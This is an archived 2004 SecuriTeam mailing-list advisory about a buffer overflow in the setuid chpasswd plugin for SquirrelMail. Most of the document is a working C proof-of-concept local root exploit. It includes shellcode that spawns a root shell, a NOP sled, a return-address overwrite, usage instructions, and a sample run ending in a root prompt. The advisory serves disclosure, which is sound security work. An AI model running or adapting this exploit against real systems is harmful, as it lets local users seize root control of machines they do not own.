

# [EXPL] Squirrelmail Local Root Chpasswd Exploit

**Source:** <http://www.derkeiler.com/Mailing-Lists/Securiteam/2004-05/0018.html>

---

**From:** SecuriTeam ([support\\_at\\_securiteam.com](mailto:support_at_securiteam.com))

**Date:** 05/04/04

To: [list@securiteam.com](mailto:list@securiteam.com)

Date: 4 May 2004 15:53:37 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

-----

Squirrelmail Local Root Chpasswd Exploit

---

## SUMMARY

A local buffer overflow vulnerability was found in SquirrelMail's chpasswd plugin and reported in a previous <http://www.securiteam.com/unixfocus/5OP0F2ACKA.html> article. The vulnerability allows a local user to gain root privileges since the plugin is a setuid program.

## DETAILS

Vulnerable Systems:

\* Squirrelmail's Change\_passwd version 3.1

Exploit:

The code presented below is a proof-of-concept code for the vulnerability:

/\*

sq-chpass-exp.c

Squirrelmail chpasswd local root exploit by deadcraft

<[deadcraft@wsfib.pl](mailto:deadcraft@wsfib.pl)>

Bug founded by Matias Neiff <[matias@neiff.com.ar](mailto:matias@neiff.com.ar)>

## Securiteam: [EXPL] Squirrelmail Local Root Chpasswd Exploit

Should work with only full path to chpasswd specified, but if isn't  
You can simply move RET address by adding second parameter, for example:

```
compilation: gcc -o sq-chpasswd-exp sq-chpasswd-exp.c
```

```
/sq-chpasswd-exp /path/to/chpasswd 100
```

```
RET = 0xbffff8bc
```

```
OFFSET = 0xbffff8e8
```

```
You forgot the New password.
```

```
Illegal instruction
```

```
deadcraft@dns:~/change_passwd$ ./sq-chpasswd-exp /path/to/chpasswd 700
```

```
RET = 0xbffffb14
```

```
OFFSET = 0xbffffb40
```

```
You forgot the New password.
```

```
sh-2.05a#
```

```
greetz to Bucz, evilcat and all friends ;)
```

```
*/
```

```
#include <stdio.h>
```

```
#include <stdlib.h>
```

```
#define SIZE 150
```

```
#define SIZE2 500
```

```
char shellcode[]= "\x31\xc0\x31\xdb\x31\xc9\xb0\x17\xcd\x80"  
                  "\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f"  
                  "\x2f\x62\x69\x89\xe3\x8d\x54\x24\x08\x50"  
                  "\x53\x8d\x0c\x24\xb0\x0b\xcd\x80\x31\xc0"  
                  "\xb0\x01\xcd\x80";
```

```
unsigned long get_esp() {  
    __asm__ ("movl %esp,%eax");  
}
```

```
int main(int argc, char *argv[])  
{  
    int offset, ret, i;  
    char buf1[SIZE], buf2[SIZE2];
```

```
    memset(buf2, 0x90, sizeof(buf2)-strlen(shellcode)-8);  
    memcpy(buf2 + sizeof(buf2)-strlen(shellcode)-8, shellcode,  
           sizeof(shellcode));
```

```
    if ((argc != 3) && (argc != 2)) {  
        printf("Usage: %s full path to chpasswd\n",argv[0]);  
        exit(0);  
    }
```

## Securiteam: [EXPL] Squirrelmail Local Root Chpasswd Exploit

```
if (argc==3) {
offset=atoi(argv[2]);
ret=get_esp()+offset-strlen(shellcode)-strlen(argv[1]);
printf("OFFSET = 0x%x\n", get_esp() + offset);
}

else ret = 0xbffffb14;

printf("RET = 0x%x\n",ret);

for(i=0; i < SIZE; i+=4)
{
* (long *) &buf1[i] = ret;
}

execl(argv[1],"chpasswd",buf1, buf2,0);
return 0;
}
```

### ADDITIONAL INFORMATION

The information has been provided by <<mailto:deadcraft@poczta.wsfib.pl>>  
Console Kozanostra.

=====

This bulletin is sent to members of the SecuriTeam mailing list.  
To unsubscribe from the list, send mail with an empty subject line and body to:  
[list-unsubscribe@securiteam.com](mailto:list-unsubscribe@securiteam.com)  
In order to subscribe to the mailing list, simply forward this email to: [list-subscribe@securiteam.com](mailto:list-subscribe@securiteam.com)

=====  
=====

### DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.  
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.